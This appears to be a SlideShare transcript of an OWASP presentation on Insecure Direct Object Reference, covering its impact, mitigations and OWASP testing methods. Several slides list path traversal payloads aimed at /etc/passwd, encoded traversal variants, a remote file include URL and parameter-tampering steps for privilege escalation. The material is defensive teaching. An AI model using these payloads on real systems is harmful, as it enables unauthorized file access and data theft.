SlideShare a Scribd company logo
1 of 32
Download to read offline
OWASP Top 10
A4 – Insecure Direct Object Reference
Narudom Roongsiriwong
CISSP
WhoAmI
● Lazy Blogger
– Japan, Security, FOSS, Politics, Christian
– http://narudomr.blogspot.com
● Information Security since 1995
● Web Application Development since 1998
● Head of IT Security, Kiatnakin Bank PLC (KKP)
● Contact: narudom.roongsiriwong@owasp.org
What Is It?
• Occurs when a developer exposes a reference
to an internal implementation object, such as
a file, directory, or database key.
• Without an access control check or other
protection, attackers can manipulate these
references to access unauthorized data.
Impact = Moderate
●
Such flaws can compromise all the data that
can be referenced by the parameter.
●
Unless object references are unpredictable, it’s
easy for an attacker to access all available data
of that type.
●
Consider the business value of the exposed
data as well as the business impact of public
exposure of the vulnerability.
Why Care About Insecure Direct Object
References?
●
Although this vulnerability is easy to exploit and easy
to detect, it is still usually ignored by developers
●
June 2000, Australian Treasury GST(Goods and
Services Tax) website was hacked and private
information from 17,000 businesses breached, just by
a student typing in an URL
●
February 2014, Insecure Direct Object Reference allow
attacker to delete all the posted thread and comments
on Yahoo's Suggestion Board website → 1.5 million
records
Insecure Direct Object Web Page Query
Not Only Web Page but XML Data Island
Client Account ID
Account ID
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Misunderstanding on Insecure Direct
Object Reference
● We use HTTPS nobody can change my POST parameters
– HTTPS protects data in transportation not the end point, attackers
can manipulate data using tools like OWASP Zap Proxy, Burp Suite
or even Firebug plug-in for Firefox
● We use AJAX to exchange data browser's developer mode
cannot see or change data
– Proxy tools like OWASP Zap Proxy and Burp Suites are able to
intercept HTTP(S) protocol including AJAX communication
● Our mobile application with HTTPS cannot be intercepted,
nobody can change object references
– No, attackers can run your app on rooted or jail-broken devices or
in emulator or connect to access point with proxy tools as named
above
Misunderstanding on
Insecure Direct Object Reference
● We can encrypt requests before POSTing
– Be sure you use encryption not encoding like base64
– If you use symmetric encryption, the key will be on
client side somewhere.
● Web application, the encryption key must be
somewhere in your scripts.
● Mobile application, attackers can reverse engineering
you app and find the key
– If you use asymmetric encryption, it is safe, however
your server processing will increase significantly.
Mitigations
● Do not expose internal keys or identifiers
– Keep user ID or key in a session variable
– Use a temporary mapping value (See next slide)
● Use object references that are challenging to guess
– GUID/UUID
– Random Number
● Perform server-side authorization checks before object
accesses (strongly recommend)
– Verify the parameter value is properly formatted
– Verify the user is allowed to access the target object
– Verify the requested mode of access is allowed to the target object
(e.g., read, write, delete)
Temporary Mapping Value
Account Label MapID
112536 Deposit 1
115696 Current 2
Temporary
In session memory
How Do You Test Applications?
• Testing for insecure direct object references can be hard to
automate
– Automated scanners do not know what users should have access to
what data
• Inspect parameters being passed to applications
• Manipulate parameters to see if sensitive information is
disclosed
• Look at pages whose only purpose is to display information
about a single object
– Documents
– Accounts
– Statements
OWASP Testing Guide for A4
● Authorization Testing
– Testing Directory
traversal/file include
(OTG-AUTHZ-001)
– Testing for Bypassing
Authorization Schema
(OTG-AUTHZ-002)
– Testing for Privilege
escalation (OTG-AUTHZ-
003)
– Testing for Insecure
Direct Object References
(OTG-AUTHZ-004)
Testing Directory traversal/file include
(OTG-AUTHZ-001): Enumeration
● Are there request parameters which could be used for file-related
operations?
● Are there unusual file extensions?
● Are there interesting variable names?
– http://example.com/index.php?file=content
– http://example.com/main.cgi?home=index.htm
– http://example.com/getUserProfile.jsp?item=ikki.html
● Is it possible to identify cookies used by the web application for
the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:T-
M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
● Insert the malicious string “../../../../” to include the
password hash file for a Linux/Unix or boot.ini for Windows
system
– http://example.com/getUserProfile.jsp?
item=../../../../etc/passwd
● For the cookies example:
– Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
● Try to include files and scripts located on external website.
– http://example.com/index.php?
file=http://www.owasp.org/malicioustxt
● Try to show the source code of a CGI component
– http://example.com/main.cgi?home=main.cgi
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
If “../” does not work, try character encoding such as URL
encoding, double URL encoding, Unicode/UTF-8 encoding
Encoding Test with Represent
URL %2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
Double URL %252e%252e%255c ..
..%255c ..
Unicode/UTF-8 ..%c0%af ../
..%c1%9c ..
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Tools
● DotDotPwn - The Directory Traversal Fuzzer -
http://dotdotpwn.sectester.net
● Path Traversal Fuzz Strings (from WFuzz Tool) -
http://code.google.com/p/wfuzz/source/brows
e/trunk/wordlist/Injections/Traversal.txt
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
● Encoding/Decoding tools
Testing Other Authorization
(OTG-AUTHZ-002 to 004): Prerequisite
● Needs to map out all locations in the application where
user input is used to reference objects directly.
– A database row
– A file
– Application pages
● Having at least two (often more) users to cover different
owned objects and functions
– Users each having access to different objects (such as
purchase information, private messages, etc.)
– Users with different privileges (for example administrator
users) to see whether there are direct references to
application functionality
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): Summary
● Focus on verifying how the authorization schema has
been implemented for each role or privilege to get
access to reserved functions and resources.
● States to verify
– User is not authenticated
– After the log-out
– User that holds a different role or privilege
● Track all the administrative functions when:
– Logging as a user with standard privileges
– Logging as a user with a different role and for whom that
action should be denied
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): How to test
● Testing for access to administrative functions
– Example, Try to post to administrator's “adduser”
when logging on as non-administrative roles
● Testing for access to resources assigned to a
different role
– Example, analyze an application that uses a shared
directory
Testing for Privilege escalation (OTG-
AUTHZ-003): Summary
● Verify that it is not possible for a user to modify his or her
privileges or roles inside the application
● Privilege escalation occurs when a user gets access to more
resources or functionality than they are normally allowed
● The degree of escalation depends on what privileges the
attacker is authorized to possess, and what privileges can be
obtained in a successful exploit
● Vertical escalation – access resources granted to more
privileged accounts (e.g., acquiring administrative privileges
for the application)
● Horizontal escalation – access resources granted to a similarly
configured account (e.g., in an online banking application,
accessing information related to a different user)
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001
This POST allows the user that
belongs to grp001 to access order
#0001, logon with a user that does
not belong to grp001 then intercept
the post & try to modify the
parameters to gain access
privileged data
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp;
path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz;
path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
<form name="autoriz" method="POST" action =
"visual.jsp">
<input type="hidden" name="profile"
value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>
This HTML shows a
hidden field to the
user after a
successful
administrative user
authentication.
Logon with another
non-administrative
user and modify
the value of the
variable "profile" to
"SysAdmin"? Is it
possible to become
administrator?
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Scenarios
● Retrieve a database record
– http://foo.bar/somepage?invoice=12345
● Perform an operation in the application
– http://foo.bar/changepassword?user=someuser
● Retrieve a file system resource
– http://foo.bar/showImage?img=img00011
● Access application functionality
– http://foo.bar/accessPage?menuitem=12
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Where to Look for
● URL Query String
● Cookie (HTTP Header)
● Request Body (Post Method)
– Query String
– XML SOAP Interface
– JSON Document
● Check Web URL, Web Forms, AJAX
Communication, Mobile HTTP Request and
Web Service
Common Tools for Authorization Testing
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
Recap
● Insecure direct object references occur when
an application exposes internal references to
objects via parameters passed to the
application
● To guard against:
– Do not expose internal keys or identifiers for
objects
– Use object references that are challenging to guess
– Perform server-side authorization checks before
object accesses (strongly recommend)
References
• OWASP
– OWASP Top 10 2010-A4-Insecure Direct Object References
– ESAPI Access Reference Map
– ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction())
• External
– CWE Entry 639 on Insecure Direct Object Reference
– CWE Entry 22 on Path Traversal (an example of a Direct
Object Reference attack)
OWASP Top 10 A4 – Insecure Direct Object Reference

More Related Content

What's hot

Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksRaghav Bisht
 
Rest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityRest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityMohammed Fazuluddin
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...Frans Rosén
 
OWASP API Security Top 10 Examples
OWASP API Security Top 10 ExamplesOWASP API Security Top 10 Examples
OWASP API Security Top 10 Examples42Crunch
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...Noppadol Songsakaew
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokensOWASP
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 
Introduction to path traversal attack
Introduction to path traversal attackIntroduction to path traversal attack
Introduction to path traversal attackPrashant Hegde
 
Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup Divyanshu
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Niranjanaa Ragupathy
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigFrans Rosén
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 

What's hot (20)

Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
Rest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityRest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API Security
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
OWASP API Security Top 10 Examples
OWASP API Security Top 10 ExamplesOWASP API Security Top 10 Examples
OWASP API Security Top 10 Examples
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Introduction to path traversal attack
Introduction to path traversal attackIntroduction to path traversal attack
Introduction to path traversal attack
 
Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 

Viewers also liked

A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013 Sorina Chirilă
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
InsecureDirectObjectReferences
InsecureDirectObjectReferencesInsecureDirectObjectReferences
InsecureDirectObjectReferencesmacanazon
 
A5: Security Misconfiguration
A5: Security Misconfiguration A5: Security Misconfiguration
A5: Security Misconfiguration Tariq Islam
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Pichaya Morimoto
 
Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Narudom Roongsiriwong, CISSP
 
OWASP Enterprise Security API
OWASP Enterprise Security APIOWASP Enterprise Security API
OWASP Enterprise Security APIConFoo
 

Viewers also liked (20)

Secure Software Development Adoption Strategy
Secure Software Development Adoption StrategySecure Software Development Adoption Strategy
Secure Software Development Adoption Strategy
 
Securing the Internet from Cyber Criminals
Securing the Internet from Cyber CriminalsSecuring the Internet from Cyber Criminals
Securing the Internet from Cyber Criminals
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
OWASP Top 10 Proactive Control 2016 (C5-C10)
OWASP Top 10 Proactive Control 2016 (C5-C10)OWASP Top 10 Proactive Control 2016 (C5-C10)
OWASP Top 10 Proactive Control 2016 (C5-C10)
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Unlock Security Insight from Machine Data
Unlock Security Insight from Machine DataUnlock Security Insight from Machine Data
Unlock Security Insight from Machine Data
 
Application Security: Last Line of Defense
Application Security: Last Line of DefenseApplication Security: Last Line of Defense
Application Security: Last Line of Defense
 
Payment Card System Overview
Payment Card System OverviewPayment Card System Overview
Payment Card System Overview
 
A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013
 
AnyID: Security Point of View
AnyID: Security Point of ViewAnyID: Security Point of View
AnyID: Security Point of View
 
Risk Management in Project Management
Risk Management in Project ManagementRisk Management in Project Management
Risk Management in Project Management
 
AnyID and Privacy
AnyID and PrivacyAnyID and Privacy
AnyID and Privacy
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
InsecureDirectObjectReferences
InsecureDirectObjectReferencesInsecureDirectObjectReferences
InsecureDirectObjectReferences
 
A5: Security Misconfiguration
A5: Security Misconfiguration A5: Security Misconfiguration
A5: Security Misconfiguration
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
 
Database Firewall with Snort
Database Firewall with SnortDatabase Firewall with Snort
Database Firewall with Snort
 
Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)
 
owaspa4
owaspa4owaspa4
owaspa4
 
OWASP Enterprise Security API
OWASP Enterprise Security APIOWASP Enterprise Security API
OWASP Enterprise Security API
 

Similar to OWASP Top 10 A4 – Insecure Direct Object Reference

CISSP Week 13
CISSP Week 13CISSP Week 13
CISSP Week 13jemtallon
 
Secure Android Development
Secure Android DevelopmentSecure Android Development
Secure Android DevelopmentShaul Rosenzwieg
 
Annual OktCyberfest 2019
Annual OktCyberfest 2019Annual OktCyberfest 2019
Annual OktCyberfest 2019Fahad Al-Hasan
 
Authorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationAuthorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationOmar Bashir
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on itWSO2
 
Lecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxLecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxBalkrishanpatidar
 
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)Noppadol Songsakaew
 
CohenNancyPresentation.ppt
CohenNancyPresentation.pptCohenNancyPresentation.ppt
CohenNancyPresentation.pptmypc72
 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfQA or the Highway
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answersOWASP
 
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16AppDynamics
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top TenSecurity Innovation
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot BuildersMax Feldman
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building BetterEqual Experts
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 

Similar to OWASP Top 10 A4 – Insecure Direct Object Reference (20)

CISSP Week 13
CISSP Week 13CISSP Week 13
CISSP Week 13
 
Secure Android Development
Secure Android DevelopmentSecure Android Development
Secure Android Development
 
Annual OktCyberfest 2019
Annual OktCyberfest 2019Annual OktCyberfest 2019
Annual OktCyberfest 2019
 
Authorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationAuthorisation: Concepts and Implementation
Authorisation: Concepts and Implementation
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
 
Lecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxLecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptx
 
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
 
CohenNancyPresentation.ppt
CohenNancyPresentation.pptCohenNancyPresentation.ppt
CohenNancyPresentation.ppt
 
OWASP Top Ten in Practice
OWASP Top Ten in PracticeOWASP Top Ten in Practice
OWASP Top Ten in Practice
 
Security Design Principles.ppt
 Security Design Principles.ppt Security Design Principles.ppt
Security Design Principles.ppt
 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdf
 
Open Science Grid security-atlas-t2 Bob Cowles
Open Science Grid security-atlas-t2 Bob CowlesOpen Science Grid security-atlas-t2 Bob Cowles
Open Science Grid security-atlas-t2 Bob Cowles
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers
 
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top Ten
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot Builders
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building Better
 
15 worker directories
15   worker directories15   worker directories
15 worker directories
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 

More from Narudom Roongsiriwong, CISSP

How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19Narudom Roongsiriwong, CISSP
 
Embedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryEmbedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryNarudom Roongsiriwong, CISSP
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard ProjectNarudom Roongsiriwong, CISSP
 
Top 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsTop 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsNarudom Roongsiriwong, CISSP
 

More from Narudom Roongsiriwong, CISSP (16)

Biometric Authentication.pdf
Biometric Authentication.pdfBiometric Authentication.pdf
Biometric Authentication.pdf
 
Security Shift Leftmost - Secure Architecture.pdf
Security Shift Leftmost - Secure Architecture.pdfSecurity Shift Leftmost - Secure Architecture.pdf
Security Shift Leftmost - Secure Architecture.pdf
 
Secure Design: Threat Modeling
Secure Design: Threat ModelingSecure Design: Threat Modeling
Secure Design: Threat Modeling
 
Security Patterns for Software Development
Security Patterns for Software DevelopmentSecurity Patterns for Software Development
Security Patterns for Software Development
 
How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19
 
Secure Software Design for Data Privacy
Secure Software Design for Data PrivacySecure Software Design for Data Privacy
Secure Software Design for Data Privacy
 
Blockchain and Cryptocurrency for Dummies
Blockchain and Cryptocurrency for DummiesBlockchain and Cryptocurrency for Dummies
Blockchain and Cryptocurrency for Dummies
 
DevSecOps 101
DevSecOps 101DevSecOps 101
DevSecOps 101
 
National Digital ID Platform Technical Forum
National Digital ID Platform Technical ForumNational Digital ID Platform Technical Forum
National Digital ID Platform Technical Forum
 
IoT Security
IoT SecurityIoT Security
IoT Security
 
Embedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryEmbedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment Industry
 
Secure Your Encryption with HSM
Secure Your Encryption with HSMSecure Your Encryption with HSM
Secure Your Encryption with HSM
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard Project
 
Coding Security: Code Mania 101
Coding Security: Code Mania 101Coding Security: Code Mania 101
Coding Security: Code Mania 101
 
Top 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsTop 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security Problems
 
CarbonCredit-V4
CarbonCredit-V4CarbonCredit-V4
CarbonCredit-V4
 

Recently uploaded

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Advanced Test Driven-Development @ php[tek] 2024
